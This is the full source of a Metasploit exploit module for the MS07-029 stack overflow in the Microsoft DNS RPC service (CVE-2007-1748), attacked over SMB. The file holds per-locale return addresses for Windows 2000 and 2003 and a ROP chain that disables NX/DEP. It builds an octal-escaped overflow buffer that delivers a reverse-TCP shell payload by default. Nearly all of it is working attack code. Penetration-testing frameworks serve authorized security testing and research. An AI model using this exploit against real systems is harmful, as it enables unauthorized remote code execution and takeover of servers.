Path: blob/master/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',16'Description' => %q{17This module exploits a stack buffer overflow in the RPC interface18of the Microsoft DNS service. The vulnerability is triggered19when a long zone name parameter is supplied that contains20escaped octal strings. This module is capable of bypassing NX/DEP21protection on Windows 2003 SP1/SP2. This module exploits the22RPC service using the \DNSSERVER pipe available via SMB. This23pipe requires a valid user account to access, so the SMBUSER24and SMBPASS options must be specified.25},26'Author' => [27'hdm', # initial module28'Unknown', # 2 unknown contributors (2003 support)29'bcoles' # additional target offsets30],31'License' => MSF_LICENSE,32'References' => [33['CVE', '2007-1748'],34['OSVDB', '34100'],35['MSB', 'MS07-029']36],37'Privileged' => true,38'DefaultOptions' => {39'EXITFUNC' => 'thread',40'PAYLOAD' => 'windows/shell/reverse_tcp'41},42'Payload' => {43'Space' => 500,4445# The payload doesn't matter, but make_nops() uses these too46'BadChars' => "\x00",4748'StackAdjustment' => -3500,4950},51'Platform' => 'win',52'Targets' => [53[ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', {} ],5455# p/p/r WS2HELP.DLL56[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],57[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],58[ 'Windows 2000 Server SP0-SP4+ German', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],59[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],60[ 'Windows 2000 Server SP0-SP4+ Polish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],61[ 'Windows 2000 Server SP0-SP4+ Portuguese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],62[ 'Windows 2000 Server SP0-SP4+ Korean', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],63[ 'Windows 2000 Server SP0-SP4+ Russian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],64[ 'Windows 2000 Server SP0-SP4+ Simplified Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],65[ 'Windows 2000 Server SP0-SP4+ Spanish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],66[ 'Windows 2000 Server SP0-SP4+ Swedish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],67[ 'Windows 2000 Server SP0-SP4+ Traditional Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],68[ 'Windows 2000 Server SP0-SP4+ Turkish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fc2ac4 } ],6970# Use the __except_handler3 method (and jmp esp in ATL.dll)71[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],72[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],7374# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)75[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],76[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],77[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],78[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],79[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],80[ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ],81[ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ],82],83'DisclosureDate' => '2007-04-12',84'DefaultTarget' => 0,85'Notes' => {86'Reliability' => UNKNOWN_RELIABILITY,87'Stability' => UNKNOWN_STABILITY,88'SideEffects' => UNKNOWN_SIDE_EFFECTS89}90)91)9293register_options(94[95OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])96]97)9899deregister_options('SMB::ProtocolVersion')100end101102def gettarget(os)103targets.each do |target|104if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))105return target106end107end108109return nil110end111112def exploit113connect(versions: [1])114smb_login()115116if target.name =~ /Automatic/117118case smb_peer_os()119when 'Windows NT 4.0'120print_status("Detected a Windows NT 4.0 system...")121target = nil122123when 'Windows 5.0'124print_status("Detected a Windows 2000 SP0-SP4 target...")125target = gettarget('2000')126127when 'Windows 5.1'128print_status("Detected a Windows XP system...")129target = nil130131when /Windows Server 2003 (\d+)$/132print_status("Detected a Windows 2003 SP0 target...")133target = gettarget('2003SP0')134135when /Windows Server 2003 (\d+) Service Pack (\d+)/136print_status("Detected a Windows 2003 SP#{$2} target...")137target = gettarget('2003SP12')138else139fail_with(Failure::NoTarget, "No target for OS: #{smb_peer_os}")140end141end142143if (not target)144fail_with(Failure::NoTarget, "There is no available target for '#{datastore['LOCALE']}' locale")145end146147print_status("Trying target #{target.name}...")148149# Bind to the service150handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_np', ['\dnsserver'])151print_status("Binding to #{handle} ...")152dcerpc_bind(handle)153print_status("Bound to #{handle} ...")154155# Create our buffer with our shellcode first156txt = Rex::Text.rand_text_alphanumeric(8192)157158if (target['OS'] =~ /2000/)159txt[0, payload.encoded.length] = payload.encoded160161off = target['Off']162txt[off] = [target.ret].pack('V')163txt[off - 4, 2] = "\xeb\x06"164txt[off + 4, 5] = "\xe9" + [ (off + 9) * -1 ].pack('V')165166elsif (target['OS'] =~ /2003SP0/)167txt[0, payload.encoded.length] = payload.encoded168169off = target['Off']170txt[off] = [target['Rets'][0]].pack('V') # __except_handler3171txt[off - 4, 2] = "\xeb\x16"172173# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)174addr = target['Rets'][1] - 4175addr1 = addr / 2176addr2 = addr1 + addr % 2177addr1 = addr1 + (addr2 % 12)178addr2 = addr2 / 12179180txt[off + 4, 8] = [addr1, addr2].pack('VV') # A,B181182#183# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :184#185# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0186# 0x77f443d0 mov eax, [ebp+arg_0]187# 0x77f443d3 pop esi188# 0x77f443d4 pop edi189# 0x77f443d5 leave ; mov esp, ebp190# 0x77f443d6 retn ; ret191192txt[off + 16, 4] = [target['Rets'][2]].pack('V') # jmp esp193txt[off + 20, 5] = "\xe9" + [ (off + 23) * -1 ].pack('V')194195elsif (target['OS'] =~ /2003SP12/)196off = target['Off']197ib = target['IB']198txt[off] = [ib + 0x2566].pack('V')199200# to bypass NX we need to emulate the call to ZwSetInformationProcess201# with generic value (to work on SP1-SP2 + patches)202203off = 445204205# first we set esi to 0xed by getting the value on the stack206#207# 0x76a81da7:208# pop esi <- esi = edh209# retn210211txt[off + 4, 4] = [ib + 0x1da7].pack('V')212txt[off + 28, 4] = [0xed].pack('V')213214# now we set ecx to 0x7ffe0300, eax to 0xed215# 0x76a81da4:216# pop ecx <- ecx = 0x7ffe0300217# mov eax, esi <- eax == edh218# pop esi219# retn220221txt[off + 32, 4] = [ib + 0x1da4].pack('V')222txt[off + 36, 4] = [0x7ffe0300].pack('V')223224# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)225# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX226# 0x76a8109c:227# call dword ptr [ecx]228229txt[off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]230txt[off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')231232# we catch the second exception to go back to our shellcode, now that233# NX is disabled234235off = 1013236txt[off, 4] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)237txt[off + 24, payload.encoded.length] = payload.encoded238239end240241req = ''242243# Convert the string to escaped octal244txt.unpack('C*').each do |c|245req << "\\"246req << c.to_s(8)247end248249# Build the RPC stub data250stubdata =251NDR.long(rand(0xffffffff)) +252NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +253NDR.long(rand(0xffffffff)) +254NDR.string(req + "\x00") +255NDR.long(rand(0xffffffff)) +256NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")257258print_status('Sending exploit...')259260begin261response = dcerpc.call(1, stubdata)262263if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)264print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])265end266rescue ::Exception => e267print_error("Error: #{e}")268end269270handler271disconnect272end273end274275276